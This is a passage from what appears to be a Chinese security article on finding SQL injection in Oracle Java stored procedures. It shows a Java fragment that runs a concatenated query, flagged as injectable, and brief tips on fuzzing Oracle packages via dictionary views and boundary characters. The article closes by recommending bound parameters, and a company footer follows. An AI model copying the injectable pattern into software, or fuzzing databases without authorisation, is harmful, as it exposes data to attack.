  //以上代码存储SQL注入的嫌疑
  ResultSet rset = stmt.executeQuery(cmd);
  while (rset.next()) {
  String className = rset.getString(1);
  processor.execute(className);
  counter++;
  }
  } catch (Exception e) {
  System.out.println(" got error " + e);
  }
  finally {
  if (stmt != null)
  stmt.close();
  }
  }
  }

  看到了吧,往往拼接SQL语句就是危险的开始,OK,剩下的我就不多说了。

  四、最后

  这里说一下ORACLE简单的FUZZ,可以查询ALL_OBJECTS找出所有的package function procedure与ALL_ARGUMENTS关联获取执行对象的参数类型!当然最好是审核一下FUZZ的对象EXECUTE权限是否为PUBLIC:
#p#分页标题#e#
  select * from ALL_TAB_PRIVS

  如数字的可以使用TO_NUMBER(0.10001,'999999D99999'),字符串可以尝试使用 " ;

  这些边界字符测试。不过还有好多自定义类型没办法太智能的检测。还是分析代码最为王道。

  最后补充一句,请使用参数绑定防止SQL注入。 
咨询热线:020-85648757 85648755 85648616 0755-27912581 客服:020-85648756 0755-27912581 业务传真:020-32579052
广州市网景网络科技有限公司 Copyright◎2003-2008 Veelink.com. All Rights Reserved.
广州商务地址:广东省广州市黄埔大道中203号(海景园区)海景花园C栋501室
= 深圳商务地址:深圳市宝源路华丰宝源大厦606
研发中心:广东广州市天河软件园海景园区 粤ICP备05103322号 工商注册